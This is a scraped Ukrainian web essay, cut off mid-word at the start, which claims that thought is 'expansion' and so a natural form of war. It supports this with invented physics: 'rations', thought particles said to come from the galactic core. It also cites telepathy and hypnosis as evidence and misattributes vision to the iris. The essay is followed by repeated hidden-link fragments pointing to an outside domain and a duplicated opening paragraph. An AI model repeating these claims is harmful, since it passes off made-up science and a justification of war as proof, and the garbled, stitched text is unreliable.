юдство завжди хвилювали різні моральні, етичні або ж філософські проблеми, намагаючись розв'язати які, найкращі люди свого часу пробували зробити це різними шляхами. Прихильники наукового аналізу розглядали явище, що викликало ті чи інші проблеми, як окремішність.
Тобто не замислюючись над його глибинним змістом, над чуттєвими причинами, що викликали дане явище, ці люди робили аналіз переважно не з самого явища, а тих чи інших зовнішніх ознак явища. Також аналізувалися фізичні явища, хоча майже ніколи не приділялося уваги детальному аналізу причин.
Прихильники емоційно - чуттєвого аналізу обгрунтовували сприйнятність чи несприйнятність явища з огляду на його історію, а головне - на чуттєві та емоційні причини, завдяки яким виникло явище. Головною ознакою вважали вони природність явища.
Що ж, спробуємо довести науковим чином природність такого явища як "війна" і безсенсовість тих моральних комплексів у більшості людей, що пов'язані з нею.
Гуманісти різних часів кажуть, що війна є пережитком минулого, що всьому виною прокляті інстинкти і що думка переможе інстинкт.
Що ж є думка? Спробуємо розібратися в цьому ретельно.
Думка, що народжується в голові людини, неможлива як така, без будь-якого стимулу до неї. Тобто думка може виникнути тільки як реакція на інформацію, яку отримує мозок. Чим же у свою чергу є ця інформація?
Візьмемо яблуко і покладемо його перед собою. Фотони світла, відбиті від яблука, сприймаються нервовими клітинами райдужної оболонки нашого ока, таким чином ми сприймаємо колір яблука. Доторкнемося до нього. Знову ж таки яблуко чинить на нервові закінчення наших пальців, завдяки чому ми взнаємо: тепле чи холодне, сухе чи мокре...
Понюхаємо, покуштуємо і постукаємо пальцем. Та інформація про яблуко, яку ми сприйматимемо нашими органами відчуття, буде нагадувати експансію на самі органи відчуттів. Ми прийшли до висновку, що сприйняття інформації про який-небудь об'єкт не можливе без експансії самого об'єкта на наші органи відчуттів. Сприймати об'єкт - означає сприймати його експансію на собі.
Після отримання інформації про об'єкт в мозку людини починається те загадкове явище, яке називається процесом мислення.
Треба підкреслити, що людина може думати тільки про щось одне: як про предмет, так і про явище. Логічно було б припустити, що концентруючи свою увагу на тому чи іншому предметові, людина чинить ніщо інше, як експансію стосовно до цього предмета. Але ця якспансія трохи іншого роду. Вже зараз доведено, що частинки світла (фотони), за допомогою яких предмет експансіонує на зір людини, існують як факт, але це не робить їх менш гіпотетичними.
Хоча таки ще не знайдені частинки думки (ратіони). аналогічні фотонам, але про те, що вони існують, ми можемо стверджувати, спираючись на багаточисельні непрямі опосередковані ознаки експансії мозку (Вважається, що якщо фотони випромінюються сонцем, то ратіони - ядром нашої галактики).
Чим, як не експансією людини на людину можна назвати таке явище, як гіпноз, коли розумова енергія гіпнозуючого повністю пригнічує таку саме енергію гіпнозованого? А телепатія? Хіба вона не налічує всіх знак експансії суб'єкта проти суб'єкта? Є народна прикмета, що коли в людини червоніють вуха, значить про неї говорять погане, а коли червоніють щокт, то перехвалюють.
З огляду на все це ми можемо зробити висновки, що ДУМКА Є ЕКСПАНСІЄЮ. Можна сказати, що думка є одним з проявів ВІЙНИ В БІЛЬШ ТОНКИХ СФЕРАХ.
Ми можемо сприймати інформацію тільки від об'єкта з відмінною від нас якістю, тому що сам процес отримання інформації має на меті подальше співставлення її з іншою інформацією, щоб став можливим сам процес мислення. Цей процес є можливим тільки за умови різноякості співставлених предметів. Тобто кожна думка в мозку людини є прямим наслідком різноякості предметів чи явищ, від яких людина отримує інформацію.
З різноякості предметів чи явищ, яка є першопричиною будь-якої думки, логічно випливає таке поняття як ВІЙНА.
Зрозумівши це, безсенсовими видаються справи всіляких гуманістів засудити війну як таку, що протирічить природі людини, а також їх надії, що думка переможе війну. Думка є прямим проявом війни, яку постійно веде мозок людини, і яку ми називаємо "процесом мислення".
Саме його наявність у мозку людини і дає їй право називатися власне людиною.
назад
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
юдство завжди хвилювали різні моральні, етичні або ж філософські проблеми, намагаючись розв'язати які, найкращі люди свого часу пробували зробити це різними шляхами. Прихильники наукового аналізу розглядали явище, що викликало ті чи інші проблеми, як окремішність.
